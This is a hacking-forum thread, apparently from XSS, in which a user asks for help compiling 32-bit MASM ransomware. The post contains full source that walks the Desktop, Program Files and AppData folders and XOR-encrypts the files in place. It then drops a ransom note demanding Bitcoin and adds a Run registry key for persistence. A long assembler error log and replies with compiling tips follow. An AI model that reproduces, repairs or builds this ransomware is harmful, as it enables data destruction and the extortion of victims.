• XSS.stack #1 – первый литературный журнал от юзеров форума

Hello Bro's I have some ASM errors when I'm triing to compile this ransomware .asm to .exe

Nastrovje

HDD-drive
Пользователь
Регистрация
12.01.2021
Сообщения
34
Реакции
8
Hello my Bro's !

I am just trying to turn this .asm to .exe but I have too many error and I can't compile this code..

This code is from a Russian guy on this forum, but I think it's not working anymore.

The files name was "simple Ransomware" and it was 2 files in .asm ---> Crypt and Decrypt.

Also I post here the code I have modified, and later I post the original because I can't find it anymore, maybe the thread has been deleted ?


Thanks a lot take care my men's :)


Code .asm --------- Thanks Bro's if you can help me to compile this, i have tried with nasm but I have a lot of errors..


.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\user32.inc
include \masm32\include\masm32.inc
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\masm32.lib
includelib \masm32\lib\advapi32.lib
include \masm32\include\advapi32.inc

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD
FindMe PROTO, Path:DWORD, filter:DWORD
XorCrypt PROTO, lpBytes:PTR BYTE, dwFileSize:DWORD
DoWarning PROTO

.data?
fd WIN32_FIND_DATA <>
buffer db 256 dup(?)
HKey dd ?
namebuf db MAX_PATH dup(?)
hInstance HINSTANCE ?
CommandLine LPSTR ?

.data
TheString db '*',0
spec1 db "%s%s", 0
spec2 db "\", 0

file_name db "Attention_WARNING_READ_ME_ACHTUNG_HOLA_YO", 0
SubKey1 db "Software\Microsoft\Windows\CurrentVersion\Run",0

MessageRans db "Hello, your important data was encrypted by a Ransomware!", 10, 13,
"I hope you understand this is not personnal, After the paiement I will decrypt all your data. Also apologize for the inconvenient. To decrypt your data, please send 0.07 BTC to the Bitcoin Wallet : 1488Hentai228Loli", 10,13, "And Contact the follow mail with your paiement proof : @protonmail.com", 0

key DWORD 12345678901234567890123456789012345678901234567890

OSPath1 db "USERPROFILE", 0
Desk db "\Desktop\", 0
FullPath1 db 260 dup(0)

FullPath2 db "C:\Program Files\", 0

FullPath3 db "C:\Program Files (x86)\", 0

OSPath4 db "APPDATA", 0
FullPath4 db 260 dup(0)

OSPath5 db "LOCALAPPDATA", 0
FullPath5 db 260 dup(0)

.code
start:
invoke GetModuleHandle, NULL
mov hInstance, eax
invoke GetCommandLine
invoke WinMain, hInstance ,NULL, CommandLine, SW_SHOWDEFAULT
invoke ExitProcess,eax
WinMain proc, hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD

invoke GetEnvironmentVariable, addr OSPath1, addr FullPath1, 260
invoke lstrcatA, addr FullPath1, offset Desk
invoke FindMe, addr FullPath1, addr TheString

invoke FindMe, addr FullPath2, addr TheString

invoke FindMe, addr FullPath3, addr TheString

invoke GetEnvironmentVariable, addr OSPath4, addr FullPath4, 260
invoke lstrcatA, addr FullPath4, offset spec2
invoke FindMe, addr FullPath4, addr TheString

invoke GetEnvironmentVariable, addr OSPath5, addr FullPath5, 260
invoke lstrcatA, addr FullPath5, offset spec2
invoke FindMe, addr FullPath5, addr TheString

invoke DoWarning

ret
WinMain endp

XorCrypt PROC, lpBytes:PTR BYTE, dwFileSize:DWORD
cmp dwFileSize, 0
jz noXor
mov ecx, 0
mov eax, lpBytes
mov dh, 10h
mov dl, BYTE PTR [key]
@@:
add [eax+ecx], dh
xor [eax+ecx], dl
inc ecx
cmp ecx, dwFileSize
jne @b

noXor:
ret
XorCrypt ENDP

FindMe PROC, Path:DWORD, filter:DWORD
LOCAL PathName[256]:byte
LOCAL buffer1[256]:byte
LOCAL hFind:DWORD
LOCAL dwTemp:DWORD
LOCAL Buffer:PTR BYTE
LOCAL hFile:PTR DWORD

invoke lstrcpy, addR PathName, Path
invoke lstrcat, addr PathName, filter
invoke FindFirstFile, addr PathName, addr fd
mov hFind, eax
.if hFind == -1
ret
.endif

.while eax > 0
invoke wsprintfA, addr buffer1, addr spec1, Path, addr fd.cFileName
cmp fd.cFileName, "."
jz nextf
test fd.dwFileAttributes, FILE_ATTRIBUTE_DIRECTORY
jz itsafile
invoke lstrcatA, addr buffer1, addr spec2
invoke FindMe,addr buffer1, filter
jmp nextf
itsafile:
; invoke MessageBoxA, 0, addr buffer1, 0, 0

invoke CreateFileA, addr buffer1, 80000000h or 40000000h, 0, 0, 3, 0, 0
.IF eax == -1
ret
.ENDIF
mov hFile, eax
invoke GetFileSize, hFile, 0
mov ebx, eax
.IF ebx>268435456
ret
.ENDIF
invoke GetProcessHeap
invoke HeapAlloc, eax, 8h, ebx
mov Buffer, eax
invoke ReadFile, hFile, Buffer, ebx, addr dwTemp, 0
.IF eax == 0
jmp EndEnc
.ENDIF

xor eax, eax
invoke XorCrypt, Buffer, ebx
mov esi, eax
mov [dwTemp], 0
invoke SetFilePointer, hFile, 0, 0, 0
invoke WriteFile, hFile, esi, ebx, addr dwTemp, 0
EndEnc:
invoke CloseHandle, hFile
invoke GetProcessHeap
invoke HeapFree, eax, 0, Buffer
;invoke MessageBox,0, addr buffer1, 0, 0
nextf:
invoke FindNextFile, hFind, addr fd
.endw
invoke FindClose,hFind
ret
FindMe endp

DoWarning PROC
LOCAL hFile:PTR DWORD
LOCAL dwTemp:DWORD

invoke lstrcatA, addr FullPath1, offset file_name
invoke CreateFileA, offset FullPath1, 40000000h, 0, 0, CREATE_ALWAYS, 0, 0
.IF eax == -1
ret
.ENDIF
mov hFile, eax
invoke lstrlenA, offset MessageRans
mov ebx, eax
invoke WriteFile, hFile, offset MessageRans, ebx, addr dwTemp, 0
invoke CloseHandle, hFile

invoke RegCreateKey, HKEY_CURRENT_USER,addr SubKey1, addr HKey
invoke GetModuleFileName, 0, addr namebuf, MAX_PATH
invoke RegSetValueEx, HKey, addr namebuf, 0, REG_SZ, ADDR FullPath1, eax
invoke RegCloseKey, HKey

invoke MessageBoxA, 0, offset MessageRans, 0, 00000040h
ret
DoWarning ENDP

end start




------------------------ Errors I have maybe you know that shit and how to repare..


finalrantestacompiler.asm:1: warning: label alone on a line without a colon might be in error [-w+label-orphan]
finalrantestacompiler.asm:2: error: parser: instruction expected
finalrantestacompiler.asm:3: error: parser: instruction expected
finalrantestacompiler.asm:4: error: parser: instruction expected
finalrantestacompiler.asm:5: error: parser: instruction expected
finalrantestacompiler.asm:6: error: parser: instruction expected
finalrantestacompiler.asm:7: error: parser: instruction expected
finalrantestacompiler.asm:8: error: parser: instruction expected
finalrantestacompiler.asm:9: error: parser: instruction expected
finalrantestacompiler.asm:10: error: parser: instruction expected
finalrantestacompiler.asm:11: error: parser: instruction expected
finalrantestacompiler.asm:12: error: parser: instruction expected
finalrantestacompiler.asm:14: error: parser: instruction expected
finalrantestacompiler.asm:15: error: parser: instruction expected
finalrantestacompiler.asm:16: error: parser: instruction expected
finalrantestacompiler.asm:17: error: parser: instruction expected
finalrantestacompiler.asm:19: warning: label alone on a line without a colon might be in error [-w+label-orphan]
finalrantestacompiler.asm:20: error: parser: instruction expected
finalrantestacompiler.asm:23: error: non-constant argument supplied to DUP
finalrantestacompiler.asm:24: error: parser: instruction expected
finalrantestacompiler.asm:25: error: parser: instruction expected
finalrantestacompiler.asm:27: warning: label alone on a line without a colon might be in error [-w+label-orphan]
finalrantestacompiler.asm:36: error: label or instruction expected at start of line
finalrantestacompiler.asm:38: error: parser: instruction expected
finalrantestacompiler.asm:54: warning: label alone on a line without a colon might be in error [-w+label-orphan]
finalrantestacompiler.asm:56: error: parser: instruction expected
finalrantestacompiler.asm:58: error: parser: instruction expected
finalrantestacompiler.asm:59: error: parser: instruction expected
finalrantestacompiler.asm:60: error: parser: instruction expected
finalrantestacompiler.asm:61: error: label `WinMain' inconsistently redefined
finalrantestacompiler.asm:14: info: label `WinMain' originally defined here
finalrantestacompiler.asm:61: error: parser: instruction expected
finalrantestacompiler.asm:63: error: parser: instruction expected
finalrantestacompiler.asm:64: error: parser: instruction expected
finalrantestacompiler.asm:65: error: parser: instruction expected
finalrantestacompiler.asm:67: error: parser: instruction expected
finalrantestacompiler.asm:69: error: parser: instruction expected
finalrantestacompiler.asm:71: error: parser: instruction expected
finalrantestacompiler.asm:72: error: parser: instruction expected
finalrantestacompiler.asm:73: error: parser: instruction expected
finalrantestacompiler.asm:75: error: parser: instruction expected
finalrantestacompiler.asm:76: error: parser: instruction expected
finalrantestacompiler.asm:77: error: parser: instruction expected
finalrantestacompiler.asm:79: error: parser: instruction expected
finalrantestacompiler.asm:82: error: label `WinMain' inconsistently redefined
finalrantestacompiler.asm:61: info: label `WinMain' originally defined here
finalrantestacompiler.asm:82: error: parser: instruction expected
finalrantestacompiler.asm:84: error: label `XorCrypt' inconsistently redefined
finalrantestacompiler.asm:16: info: label `XorCrypt' originally defined here
finalrantestacompiler.asm:84: error: parser: instruction expected
finalrantestacompiler.asm:90: warning: `PTR' is not a NASM keyword [-w+ptr]
finalrantestacompiler.asm:100: error: label `XorCrypt' inconsistently redefined
finalrantestacompiler.asm:84: info: label `XorCrypt' originally defined here
finalrantestacompiler.asm:100: error: parser: instruction expected
finalrantestacompiler.asm:102: error: label `FindMe' inconsistently redefined
finalrantestacompiler.asm:15: info: label `FindMe' originally defined here
finalrantestacompiler.asm:102: error: parser: instruction expected
finalrantestacompiler.asm:103: error: parser: instruction expected
finalrantestacompiler.asm:104: error: parser: instruction expected
finalrantestacompiler.asm:105: error: parser: instruction expected
finalrantestacompiler.asm:106: error: parser: instruction expected
finalrantestacompiler.asm:107: error: parser: instruction expected
finalrantestacompiler.asm:108: error: parser: instruction expected
finalrantestacompiler.asm:110: error: label `invoke' inconsistently redefined
finalrantestacompiler.asm:56: info: label `invoke' originally defined here
finalrantestacompiler.asm:110: error: parser: instruction expected
finalrantestacompiler.asm:111: error: parser: instruction expected
finalrantestacompiler.asm:112: error: parser: instruction expected
finalrantestacompiler.asm:114: error: parser: instruction expected
finalrantestacompiler.asm:116: warning: label alone on a line without a colon might be in error [-w+label-orphan]
finalrantestacompiler.asm:118: error: parser: instruction expected
finalrantestacompiler.asm:119: error: label `invoke' inconsistently redefined
finalrantestacompiler.asm:110: info: label `invoke' originally defined here
finalrantestacompiler.asm:119: error: parser: instruction expected
finalrantestacompiler.asm:124: error: label `invoke' inconsistently redefined
finalrantestacompiler.asm:119: info: label `invoke' originally defined here
finalrantestacompiler.asm:124: error: parser: instruction expected
finalrantestacompiler.asm:125: error: parser: instruction expected
finalrantestacompiler.asm:130: error: label `invoke' inconsistently redefined
finalrantestacompiler.asm:124: info: label `invoke' originally defined here
finalrantestacompiler.asm:130: error: parser: instruction expected
finalrantestacompiler.asm:131: error: parser: instruction expected
finalrantestacompiler.asm:133: warning: label alone on a line without a colon might be in error [-w+label-orphan]
finalrantestacompiler.asm:135: error: label `invoke' inconsistently redefined
finalrantestacompiler.asm:130: info: label `invoke' originally defined here
finalrantestacompiler.asm:135: error: parser: instruction expected
finalrantestacompiler.asm:137: error: label `invoke.IF' inconsistently redefined
finalrantestacompiler.asm:131: info: label `invoke.IF' originally defined here
finalrantestacompiler.asm:137: error: parser: instruction expected
finalrantestacompiler.asm:139: warning: label alone on a line without a colon might be in error [-w+label-orphan]
finalrantestacompiler.asm:139: error: label `invoke.ENDIF' inconsistently redefined
finalrantestacompiler.asm:133: info: label `invoke.ENDIF' originally defined here
finalrantestacompiler.asm:140: error: label `invoke' inconsistently redefined
finalrantestacompiler.asm:135: info: label `invoke' originally defined here
finalrantestacompiler.asm:140: error: parser: instruction expected
finalrantestacompiler.asm:141: error: parser: instruction expected
finalrantestacompiler.asm:143: error: parser: instruction expected
finalrantestacompiler.asm:144: error: label `invoke.IF' inconsistently redefined
finalrantestacompiler.asm:137: info: label `invoke.IF' originally defined here
finalrantestacompiler.asm:144: error: parser: instruction expected
finalrantestacompiler.asm:146: warning: label alone on a line without a colon might be in error [-w+label-orphan]
finalrantestacompiler.asm:146: error: label `invoke.ENDIF' inconsistently redefined
finalrantestacompiler.asm:139: info: label `invoke.ENDIF' originally defined here
finalrantestacompiler.asm:149: error: label `invoke' inconsistently redefined
finalrantestacompiler.asm:140: info: label `invoke' originally defined here
finalrantestacompiler.asm:149: error: parser: instruction expected
finalrantestacompiler.asm:152: error: label `invoke' inconsistently redefined
finalrantestacompiler.asm:149: info: label `invoke' originally defined here
finalrantestacompiler.asm:152: error: parser: instruction expected
finalrantestacompiler.asm:153: error: parser: instruction expected
finalrantestacompiler.asm:155: error: parser: instruction expected
finalrantestacompiler.asm:156: error: parser: instruction expected
finalrantestacompiler.asm:157: error: parser: instruction expected
finalrantestacompiler.asm:160: error: parser: instruction expected
finalrantestacompiler.asm:161: warning: label alone on a line without a colon might be in error [-w+label-orphan]
finalrantestacompiler.asm:162: error: parser: instruction expected
finalrantestacompiler.asm:164: error: label `FindMe' inconsistently redefined
finalrantestacompiler.asm:102: info: label `FindMe' originally defined here
finalrantestacompiler.asm:164: error: parser: instruction expected
finalrantestacompiler.asm:166: error: label `DoWarning' inconsistently redefined
finalrantestacompiler.asm:17: info: label `DoWarning' originally defined here
finalrantestacompiler.asm:166: error: parser: instruction expected
finalrantestacompiler.asm:167: error: label `LOCAL' inconsistently redefined
finalrantestacompiler.asm:103: info: label `LOCAL' originally defined here
finalrantestacompiler.asm:167: error: parser: instruction expected
finalrantestacompiler.asm:168: error: parser: instruction expected
finalrantestacompiler.asm:170: error: label `invoke' inconsistently redefined
finalrantestacompiler.asm:152: info: label `invoke' originally defined here
finalrantestacompiler.asm:170: error: parser: instruction expected
finalrantestacompiler.asm:171: error: parser: instruction expected
finalrantestacompiler.asm:172: error: label `invoke.IF' inconsistently redefined
finalrantestacompiler.asm:144: info: label `invoke.IF' originally defined here
finalrantestacompiler.asm:172: error: parser: instruction expected
finalrantestacompiler.asm:174: warning: label alone on a line without a colon might be in error [-w+label-orphan]
finalrantestacompiler.asm:174: error: label `invoke.ENDIF' inconsistently redefined
finalrantestacompiler.asm:146: info: label `invoke.ENDIF' originally defined here
finalrantestacompiler.asm:176: error: label `invoke' inconsistently redefined
finalrantestacompiler.asm:170: info: label `invoke' originally defined here
finalrantestacompiler.asm:176: error: parser: instruction expected
finalrantestacompiler.asm:178: error: label `invoke' inconsistently redefined
finalrantestacompiler.asm:176: info: label `invoke' originally defined here
finalrantestacompiler.asm:178: error: parser: instruction expected
finalrantestacompiler.asm:179: error: parser: instruction expected
finalrantestacompiler.asm:181: error: parser: instruction expected
finalrantestacompiler.asm:182: error: parser: instruction expected
finalrantestacompiler.asm:183: error: parser: instruction expected
finalrantestacompiler.asm:184: error: parser: instruction expected
finalrantestacompiler.asm:186: error: parser: instruction expected
finalrantestacompiler.asm:188: error: label `DoWarning' inconsistently redefined
finalrantestacompiler.asm:166: info: label `DoWarning' originally defined here
finalrantestacompiler.asm:188: error: parser: instruction expected
finalrantestacompiler.asm:190: error: parser: instruction expected
 
ASM 32 bits pour cela?
Hello Dildo:) No I don't use, just use Nasm in kali linux, but I'm a big noob I never had crypted an asm file. Maybe do you have some program to compil that ? But yes I'm gonna see this in 32 bits I think It works :) Thank you !!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
You can't compile source code for MASM compiler with NASM compiler, they have different syntax.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Also please remember that the code you're writing should be compiled for windows machine. I strongly suggest you to use a VM to compile it. Also consider to read some book to fully understand what you're doing and compiling.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх